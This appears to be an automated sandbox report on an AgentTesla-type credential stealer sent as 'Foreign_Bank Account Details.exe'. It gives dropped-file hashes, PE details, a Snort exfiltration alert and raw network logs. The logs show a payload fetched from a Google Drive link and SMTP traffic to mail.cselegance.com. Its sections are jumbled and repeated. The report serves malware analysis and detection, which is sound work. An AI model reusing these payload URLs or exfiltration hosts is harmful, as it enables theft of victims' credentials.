@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]
..............................................................................................................................................................................................................................................................................
............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpEvMsg.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\ProtectionManagement.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 52456

Entropy (8bit): 4.449895321849691

Encrypted: false

SSDEEP: 768:7rypn9K/Gd67WzUi+YXCujpbemXuQx/Vhjhxp1ZR1P4M8/GQT:ap9KOPZXC+XLjZHPQ/x

MD5: 57DD5DCD626332FA892BF1526D09C1D9

SHA1: B0D2C0D3CC46C7E7F560D11117C5DD7C2817AF5C

SHA-256: 385171BD15127FB8546EF4378CBEA2BF25F5063E6E731DFEB4EF868829FB25B9

SHA-512: 4F59C6E5DE864D07A675ECA116AB308C25CFA67EBB8345376FC98ECEFDA49CBF0BFD96A7371E398EC661E7F546C84C49D6E98556F767B32432E03BFFED04C27
8

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
............................................................@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@............l...........T...8...8.......l...........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....%..H....rsrc$02.... ...=..E.......'G.:3..t.E...
.R<l..........................................................................................................................................................................................................................................................................
.................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 27384

Entropy (8bit): 5.027883032614938

Encrypted: false

SSDEEP: 384:7rHwnD0qkg1Wl+R0UdhR3ZVdZFzd4SWS8/WNRDBRJbQl5c:7rQnYqkg1Wl+R0U7VXFzdOIR1PbT

MD5: FEA5726C8962F98A3601E47EADB5A3E9

SHA1: FDDCB373EEC6E22B7706A588CDDA4F0822237538

SHA-256: FC18C509866893EB03BC82F49C0EF07C344640CF8D6FA3963247ABB7521A4A56

SHA-512: CB63D5656B1822668285B6C1B1594BBE1B364EF45AC4C5618D7C436C93BD38623B06140383DE58A610EA7FEB92BB741AC7477AAB104A0CCBF671125D2D83CA5
C

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........H
...............................................p............@.......................................... ...E...........J... ...........................................................................................rdata..p...........................
@..@.rsrc....E... ...F..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..@A...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\endpointdlp.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 647416

Entropy (8bit): 6.2677434000059975

Encrypted: false

SSDEEP: 12288:RE74OZLauRb4Z7W42oza9hIXTzq+g57U2ibvko43Shu/6U:toLauRaWMTPg9U2ibcH3SU

MD5: BBDFA9DA2F8E10903C095F504A2188B1
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SHA1: E670D3739742A460C8C3AA5A2CC911A4ACFEFA8D

SHA-256: 4B3DE446F41D0410C06E9FAFF8823D380BCBDADB5B381C702CE3A5E2535A7142

SHA-512: A30280A65726142551F2CBFB3A41337B309BDBEABCF710B5654CBD1415453AD2D69A7EC7C753A4E297557755D4204CABA4881938F805E667888523CD99F338FF

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M2`..S...S...S...!...S...S..S...!...S...!..+S...!...S...!...S...&...S...
&..XS...&...S...&...S..Rich.S..........................PE..d...+s.P.........." ......... ......`M...............................................|....`A............................................................(....`...K....... ...........
G..p.......................(.......8............................................text............................... ..`.rdata...m.......p..................@..@.data....9... ...0... ..............@....pdata...K...`...P...P.........
.....@..@.rsrc...(...........................@..@.reloc..............................@..B.................................................................................................................................................................
...............................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\endpointdlp.dll

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 67816

Entropy (8bit): 4.139143013850931

Encrypted: false

SSDEEP: 768:7r690VA3iN3v240ynoFXuAQ8UyCNbHQSfr+FABZgdTypKR1PJl:iyHGyoFXXfW7Q2r+FAodTypKHPJl

MD5: B6A28B3D905B28545AC4EC448846C6F4

SHA1: C59E0A7600A0A76B25B46A7B5D1574BA09FC6826

SHA-256: 89404202E75E8D03AF2458906D9622C7ECD43F4B30180B079B143B77EA6BA6A4

SHA-512: 650319B0A81FB5A1BACE4760C14BA37245A9FB23F4A7E5B18B3BE279A5EDF5063BB1CF5C8631AEC30ACEDCF3F92219B63279A4B01DA80C21B2182C88F56F915
8

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................}.....@.......................................... ..h................ ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\MpEvMsg.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 58616

Entropy (8bit): 4.347687086754615

Encrypted: false

SSDEEP: 768:7ruyfm07DjkGDxibCs79eoh9ewh/6L3NM6MAM8rbrubOezWyi4JzOcfQT/ZsH+KY:5H6BJdLd0dZLTOy+JdVfQT/eNNTvHPtW

MD5: 1CEB1C751D2CF63A0856B30A74486565

SHA1: 7D388EF3D300849D5E08FFA8F37DBB72765EED9B

SHA-256: 4421F31079246BD5A8B2C76B305BD88251DE81DAA0DBFDC393ACE55198B58F34

SHA-512: 00929E60E67BB9ABD2D4081D387B13D25D819DDCEFABE3384C0FB70C47566FE675499768C1455DDAB7480D1696F956A2448DF1064E7A9DA72085F04A19EE39B9

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................H.....@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]
..............................................................................................................................................................................................................................................................................
............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\ProtectionManagement.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 53480

Entropy (8bit): 5.483586719154938

Encrypted: false

SSDEEP: 768:7ruKwQ1QknY/H+2N+HLuwaJDMR/oHyXhIomrCi6EwmAVzR1PMJ:mKwTTHyPag4twc6zHPMJ

MD5: 1933FC68D4038B5431F7CB7AE468F393

SHA1: E235F2EF1DD1656E1646AD15527C3D1E8AA4DDB0

SHA-256: 961DF898ABCAC1F2911002445BFC624327BC153874D5E3E7556E467B360A55E2

SHA-512: 1C9A1EEA8AE0A8DA611920CFD8010B585BE74DFBA8F3430828E0B3267BF6126E8158B4714A85F57C351B02D8009468A5EB13027E1E7FAF33D4FC4424BBEA7120

Malicious: false

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................L.....@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@............l...........T...8...8.......l...........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....%..H....rsrc$02.... ...=..E.......'G.:3..t.E...
.R<l..........................................................................................................................................................................................................................................................................
.................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\ProtectionManagement.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 30456

Entropy (8bit): 4.917070528485799

Encrypted: false

SSDEEP: 384:7rqG15z+i+7W7n++XyKTDQfOWS8/WzRDBRJ5l5ppJM:7rLBiKTDQLGR1PrHM

MD5: 2FDE66202B0916607183D62E68CFB1B5

SHA1: 2525D696877DB1F0C13ADF15174BB219466F5782

SHA-256: AF712FBC07C22C3950C81F0F207EC5CB078591E16857DE6373ACDE71B814305E

SHA-512: D0606A25CF2581FE11E0A122AA080A639D3E69BA8EF2B3A21F6F4985E2D2275C530DDBF6FAFB23D20AE99D7FA4B6D5895F5CD7EDF2A1723BED96B0D919C5FB
E3

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........T
.......................................................`....@.......................................... ..<Q...........V... ...........................................................................................rdata..p...........................
@..@.rsrc...<Q... ...R..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...L...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 66808

Entropy (8bit): 4.12608368962796

Encrypted: false

SSDEEP: 768:7rJ90VX3iN3vpSnynoFXuAQ8UqVaFUk6s3vmxZZL1M+J0R1P6zE:xyAUyoFXXvk/Jvmxr1M+J0HPAE

MD5: D1CBA62B76E5E851B8922EABFF2DEF6D

SHA1: E5776BFACF829F2254D9421646AAF9E59A68FDEF

SHA-256: 1F9767C1C1EFE0C4D19D0F22C8FA6ADB60E4E88013CF8112D0BC60608EDDEE5C

SHA-512: BE116298568BACF0A55637B39DBD5D7866EAEDA94448A0D866228104885B80CAFE47BF552B0B927E06E434BB3F922B06BAD51A16D547EF0F44CF9BAF066C052
5

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
.......................................................N....@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 30952

Entropy (8bit): 4.874668095617591

Encrypted: false

SSDEEP: 384:7rTJmsPXPLe/MvLyWF4eGOWS8/WFRDBRJw+TEQmDWlGszRnh1Rm:7r95PrF4bL4R1Pwf1zOpm

MD5: D69771B02DB93D6F6E8A343978F499A7

SHA1: 671655DDAA4F02398C8C0FF41E03E30593C54562

SHA-256: 9FCBDA0A30314F5A45CB005475AC90FFDC60585EF7816CBE691544F1E2299BA1

SHA-512: BE6556B9D1D0B87E37BEC666C31292EAB99F7A33AAB2981B7AB933A3071585EE0CAA2544E16F394C3DBEC8F0338BE39D2EBC366EC7B373482D5B5791C557AA
FD

Malicious: false

Reputation: unknown
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Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 6.50003203322486

TrID: Win32 Executable (generic) a (10002005/4) 
99.15%
Win32 Executable Microsoft Visual Basic 6 
(82127/2) 0.81%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: Foreign_Bank Account Details.exe

File size: 135168

MD5: 8906fa5fed7b1d3d2e5579d97419c076

SHA1: f4488a79fcb657eb1f3f23c6ce181ae7176fb11c

SHA256: d1a3f5513cfaf506e96e6304d259fb03f5dc23542301fc9c
7335a6e921ad65f9

SHA512: e34aa27e530b1e57a33e483eca15739570b105485d722d
a4a7a2f921abfe2383e5044d85bdd91e6d0ac80a5c3e889
6d6dc7ed5b662ddbd1ab56c7c8349777871

SSDEEP: 3072:wHohMc/81QScUhU7FeiRaz+7kOMr7d2PhOdnXh
WZ2QLqw9mh7ObETDuvTuqZccm4:wHoBzsuRcw4rCh

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........+.[.J...J.
..J..9V...J...h...J...l...J..Rich.J..................PE..L...]..R........
.........P...................`....@........

File Icon

Icon Hash: 20047c7c70f0e004

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........V
......................................................=.....@.......................................... ...S...........X... ...........................................................................................rdata..p...........................
@..@.rsrc....S... ...T..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...N...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\mpuxagent.dll.mui

General
Entrypoint: 0x4012d8

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics:

Time Stamp: 0x5288055D [Sat Nov 16 23:53:01 2013 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: 0a8e5f9658f839d07c08aa4f38837bac

Static PE Info

Entrypoint Preview
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Snort IDS Alerts

Network Port Distribution

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x14518 0x15000 False 0.578311011905 data 6.68181233004 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x16000 0x15fc 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x18000 0x9749 0xa000 False 0.217749023437 data 5.47873434424 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

10/12/21-
09:39:48.648180

TCP 2030171 ET TROJAN AgentTesla Exfil Via SMTP 49812 587 192.168.11.20 116.0.120.83

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 12, 2021 09:38:06.483787060 CEST 192.168.11.20 1.1.1.1 0xd75d Standard query 
(0)

drive.google.com A (IP address) IN (0x0001)

Oct 12, 2021 09:38:07.228015900 CEST 192.168.11.20 1.1.1.1 0xca17 Standard query 
(0)

doc-0c-28-
docs.googl
eusercontent.com

A (IP address) IN (0x0001)

Oct 12, 2021 09:39:44.477793932 CEST 192.168.11.20 1.1.1.1 0xd454 Standard query 
(0)

mail.csele
gance.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 12, 2021 
09:38:06.514954090 
CEST

1.1.1.1 192.168.11.20 0xd75d No error (0) drive.goog
le.com

172.217.168.46 A (IP address) IN (0x0001)

Oct 12, 2021 
09:38:07.269540071 
CEST

1.1.1.1 192.168.11.20 0xca17 No error (0) doc-0c-28-
docs.googl
euserconte
nt.com

googlehosted.l.googleuse
rcontent.com

CNAME 
(Canonical 
name)

IN (0x0001)

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Oct 12, 2021 
09:38:07.269540071 
CEST

1.1.1.1 192.168.11.20 0xca17 No error (0) googlehost
ed.l.googl
euserconte
nt.com

142.250.186.33 A (IP address) IN (0x0001)

Oct 12, 2021 
09:39:45.247864962 
CEST

1.1.1.1 192.168.11.20 0xd454 No error (0) mail.csele
gance.com

cselegance.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 12, 2021 
09:39:45.247864962 
CEST

1.1.1.1 192.168.11.20 0xd454 No error (0) cselegance.com 116.0.120.83 A (IP address) IN (0x0001)

Oct 12, 2021 
09:42:00.069184065 
CEST

1.1.1.1 192.168.11.20 0x242b No error (0) prda.aadg.
msidentity.com

www.tm.a.prd.aadg.traffic
manager.net

CNAME 
(Canonical 
name)

IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
drive.google.com

            
doc-0c-28-docs.googleusercontent.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.11.20 49793 172.217.168.46 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp
kBytes
transferred Direction Data

2021-10-12 07:38:06 UTC 0 OUT GET /uc?export=download&id=1hKAWruhccvaKl722JOqs1briWjn1s8ks HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com
Cache-Control: no-cache

2021-10-12 07:38:07 UTC 0 IN HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 12 Oct 2021 07:38:07 GMT
Location: https://doc-0c-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dge6jv
aanlcs7829hvlmboru4ioabe/1634024250000/16524389560697724177/*/1hKAWruhccvaKl722JOqs1briWjn1s8ks?e=do
wnload
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Security-Policy: script-src 'nonce-Hpnxd4Lrzmt2tSZJEkjD8w' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: NID=511=tlRjGx_N-E3lQP4hqXh-X44zmkFeeZnwK70Ls-v3vtbJu2f5BXP_BqQxmxD9xRD_k9uYXL
OO5gx1Q6Gs1DrTFUgUo3RKvMCfxYQ_NGJZeDiEcloEHnJIrTMZjLDtxFs2ukIt8Z7OhJOIZ49w8gPauq-wxPcqjG1A
4uMpxJSZIxc; expires=Wed, 13-Apr-2022 07:38:06 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-10-12 07:38:07 UTC 1 IN Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 
6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 
72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 63 2d 32 38 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 
66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 67 37 64 67 
Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" 
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0c-28-docs.goog
leusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dg

2021-10-12 07:38:07 UTC 1 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.11.20 49794 142.250.186.33 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

HTTP Request Dependency Graph

HTTPS Proxied Packets
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Timestamp
kBytes
transferred Direction Data

2021-10-12 07:38:07 UTC 1 OUT GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dge6jvaanlcs7829hvlmboru4ioabe/1634024250000/1
6524389560697724177/*/1hKAWruhccvaKl722JOqs1briWjn1s8ks?e=download HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Cache-Control: no-cache
Host: doc-0c-28-docs.googleusercontent.com
Connection: Keep-Alive

2021-10-12 07:38:07 UTC 2 IN HTTP/1.1 200 OK
X-GUploader-UploadID: ADPycdvzeYC3AERgpqCz14wyKluY9FC8MkM_5T2uVjvHj2vNKJbTNwX6TSRi_CW9S0IY
7YVXIcUM50IhGN1e0SXwvUE
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, 
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, 
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, 
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, 
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS
Content-Type: application/octet-stream
Content-Disposition: attachment;filename="SOFTY_EjIjLXg185.bin";filename*=UTF-8''SOFTY_EjIjLXg185.bin
Content-Length: 221760
Date: Tue, 12 Oct 2021 07:38:07 GMT
Expires: Tue, 12 Oct 2021 07:38:07 GMT
Cache-Control: private, max-age=0
X-Goog-Hash: crc32c=cPDEgg==
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-10-12 07:38:07 UTC 5 IN Data Raw: 8e e9 a1 13 a6 d9 7d be 1a 0f f3 17 a0 e9 bb 3d df 08 bd b7 10 6e 38 da 6a 89 39 78 f7 ed c2 19 9c 56 01 d2 
94 be 90 28 4f bd d0 67 1d 38 48 2c 73 b0 0c 77 6c 44 40 b3 a3 f8 56 e9 70 0c e3 f1 0d a8 f1 7d 45 5e db 5f ef 54 44 5d 4f 
c6 bb db 79 e9 be 6f 6c d1 2b f8 41 98 8a af c8 13 63 0c 28 db 5a ad 6e cd 0d 7c fc 3e eb c0 13 bc 22 7b ef 06 30 fa 87 a1 
c2 f0 aa 42 a1 8a 5c 64 87 87 fa 1f f9 84 69 ca cc 09 aa 33 63 c9 56 18 c2 11 d8 09 ef d0 6b 6c eb 6c 64 81 82 41 dd f1 09 
fc 22 88 a5 5e 54 6d 34 0c 4e 1a 57 d7 ab e9 92 8a 6a 23 86 bd 95 6e 05 74 10 75 34 f8 38 5f b0 c3 39 4b c5 0d 91 aa 07 
39 82 08 88 7f a8 ec 78 05 ed b0 25 18 a9 60 24 6c 3d 61 9d 96 a6 9b bd b6 44 87 44 39 cc 15 5c 53 4f 38 54 26 39 ff 06 
1c d7 c2 9d 96 f8 45 01 1a 0a 99 e4 9c b1 94 85 
Data Ascii: }=n8j9xV(Og8H,swlD@Vp}E^_TD]Oyol+Ac(Zn|>"{0B\di3cVklldA"^Tm4NWj#ntu48_9K9x%`$l=aDD9\SO8T&9E

